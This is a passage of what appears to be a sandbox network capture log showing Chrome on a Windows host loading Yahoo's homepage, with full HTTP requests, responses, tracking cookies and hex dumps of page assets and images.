2024-04-27 22:41:59 UTC	983	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 69 5f 64 63 64 6d 5f 63 3d 44 45 4c 45 54 45 3b 20 45 Data Ascii: Transfer-Encoding: chunkedConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffSet-Cookie: _li_dcdm_c=DELETE; E
2024-04-27 22:41:59 UTC	1036	IN	Data Raw: 34 30 30 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 2e 53 68 6f 70 70 69 6e 67 43 6f 6e 74 65 6e 74 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 34 35 31 63 34 30 62 33 61 30 33 32 32 62 34 38 64 62 63 35 38 66 62 66 30 64 39 38 65 65 39 36 2e 6d 69 6e Data Ascii: 400{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.min

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	49937	50.57.31.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	644	OUT	GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	672	IN	HTTP/1.1 302 Found Location: /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external UIP-Response-Status: Ok Frontend-ID: 1 Set-Cookie: SEUNCY=47E8BD94D4DAD4B1; Expires=Sun, 27 Apr 2025 22:41:59 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	49945	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	599	OUT	GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: OoPUEoZHXhXPsTUCDul6yGQxo0FzrHw6YOMW7b8NfbxMoeHYFkEJYQVX79txO+bvjT12MbQSsIk= x-amz-request-id: ZQ5AA62MMW2HSQF0 Date: Tue, 16 Apr 2024 14:08:28 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "b182d19798f0d66ca701301e28c0034a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1087 Referrer-Policy: no-referrer-when-downgrade Age: 981212 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1087	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	49946	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	2282	OUT	POST /p?s=2023538075&t=OnFsp1UBv3dzkICK,0.7166840809020798&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04A_utm%03%7B%22perf_ttfb%22%3A1802%2C%22perf_ttfb_rating%22%3A%22poor%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031714257717%04_ms%03811%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	1261	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:59 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:41:59 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	49947	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	2294	OUT	POST /p?s=2023538075&t=HilgCngAaOX6Poh9,0.15465232567408171&_I=&_AO=0&_NOL=0&_R=&_P=3.54.1%05_a1s%03d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%04_pl%031%04A_v%033.54.1%04A_cn%03ANALYTICS-VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%032%04A_sid%03uEPKU3Os0Q8Kit42%04_w%03www.yahoo.com%2F%04_rid%031sbetl5j2qvpa%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQMEACZffwQEAMATGgUEAXjo2wcEACPSLwgEAWVv0Q%04A_utm%03%7B%22perf_fcp%22%3A2457%2C%22perf_fcp_rating%22%3A%22needs-improvement%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031714257717%04_ms%03817%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTT [TRUNCATED] Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	1261	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:59 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=geo.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:41:59 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49944	44.218.166.165	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	772	OUT	GET /idex/did-004f/any?duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1 Host: idx.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Type: application/json Content-Length: 50 Connection: close trace-id: 5af8b7a68255547f Vary: Origin Expires: Sun, 28 Apr 2024 22:41:59 GMT Set-Cookie: lidid=03fe910e-15bc-4d2f-a8ff-7b5edf78fd01; Max-Age=63072000; Expires=Mon, 27 Apr 2026 22:41:59 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 5 Cache-Control: max-age=86399, private Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true
2024-04-27 22:41:59 UTC	50	IN	Data Raw: 7b 22 6e 6f 6e 49 64 22 3a 22 36 57 32 6a 4f 34 44 4c 2d 76 4c 6c 72 61 78 4c 31 78 6e 4d 34 53 72 6d 36 56 70 6d 49 75 6c 37 49 35 4b 49 6e 67 22 7d Data Ascii: {"nonId":"6W2jO4DL-vLlraxL1xnM4Srm6VpmIul7I5KIng"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49949	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	507	OUT	GET /uu/api/res/1.2/4u3T0U1pgURnOM.6ttN8YQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	1283	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 406672426937753103121406018179598799465,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="80581492448034925ad4c55dda24d99b.webp" Edge-Cache-Tag: 406672426937753103121406018179598799465,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "c6c0f44bbc835a4878ea9703828b4cd9" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 21:24:58 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=16236,owidth=5180,oheight=3454,obytes=4355120,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:24:56 GMT X-Served-By: cache-lga21942-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714256697.813421,VS0,VE1 Age: 1023 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21942-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 44543 ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	1081	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: e2 35 14 c4 dd 9b 1f 69 a3 8f 95 6c 62 8a 35 75 b6 2c e1 c6 d6 0f d2 a1 49 af 40 d5 92 6c cf b7 29 23 0a 03 eb c5 5d 1d 89 c7 d1 53 c6 98 ea 42 20 aa 1f 8c 89 b9 77 c8 05 55 8b 73 21 3f 0a 1a b0 f3 c0 8d af 81 f4 ab e1 b3 7e c5 78 e8 76 a6 66 be 9c a6 62 86 2a d5 9a c1 2a 05 a2 64 a8 f7 34 25 4e f8 80 7e f5 66 87 79 89 fc 1b 36 98 96 e3 89 05 49 48 c7 3c 57 bc f1 4f a4 70 b6 fd 96 a8 b3 5f 12 50 77 f0 2b d2 4e 49 40 e5 c5 5c 8b d5 82 54 89 0e 25 7b f1 8a f2 7b 92 5c 99 d8 d7 8d 22 d2 27 3e d2 32 57 d8 57 36 cb 9c 7b 19 a6 7b de 37 8d 9f ba a1 3a 19 22 3a f5 77 79 68 5a 40 e4 d6 9c 79 52 f6 24 f0 df b2 11 ab bd d6 3a 76 80 95 0f 3c 8a dd 8f 24 7f 26 77 87 b1 78 5a 82 49 7c 6f 57 87 f4 f3 aa b6 63 8f 3a a3 42 7c 51 ab e8 6e b9 de b4 c3 ed 36 2e ce 7b ba 3c Data Ascii: 5ilb5u,I@l)#]SB wUs!?~xvfb**d4%N~fy6IH<WOp_Pw+NI@\T%{{\"'>2WW6{{7:":wyhZ@yR$:v<$&wxZI\|oWc:B\|Qn6.{<
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: b2 dd b7 7d bf 1e 20 4a 95 f7 a3 00 7e 15 6a d6 a4 16 86 97 3b f6 8a b9 49 7e 43 1a 59 fb 57 89 b7 63 71 1f de 84 60 60 80 08 18 19 e4 0f 9d 56 a3 44 8b 5a 26 a6 34 53 02 d3 af 2e 16 96 5f 5e e7 98 50 73 c2 39 ee 0f 86 76 90 7e 95 68 26 86 9f d1 7b dc e7 16 bb 7d ca 24 f5 97 36 61 b9 29 4a 95 c0 39 01 47 b7 38 cf a8 35 4b 5d 96 da 17 85 71 ea 56 9a 7d 1e e8 f5 c9 95 23 38 46 d2 b1 c1 c7 63 90 7b 52 d8 a9 36 56 61 cd 94 96 d2 95 b0 d8 27 93 81 53 14 16 3c 4c d5 01 92 da 7f 1a bc 80 8a 96 16 7e c8 18 a2 c1 fa 11 71 e1 df 60 a8 bb 10 f1 12 bc 25 05 27 85 03 90 6a b6 b9 13 ec 59 cb ab ce 8d ae b8 a2 9f 4c d3 aa 25 2a 0a 87 a0 28 e5 48 c2 8f 73 4a a9 0d f8 0c 4d b5 c2 00 5e 3e ea 6e 4c 5a b1 66 61 5a dc 50 06 43 63 3e a6 a2 c2 85 8d b6 06 7e 09 49 c1 f9 d4 f2 Data Ascii: } J~j;I~CYWcq``VDZ&4S._^Ps9v~h&{}$6a)J9G85K]qV}#8Fc{R6Va'S<L~q`%'jYL%*(HsJM^>nLZfaZPCc>~I
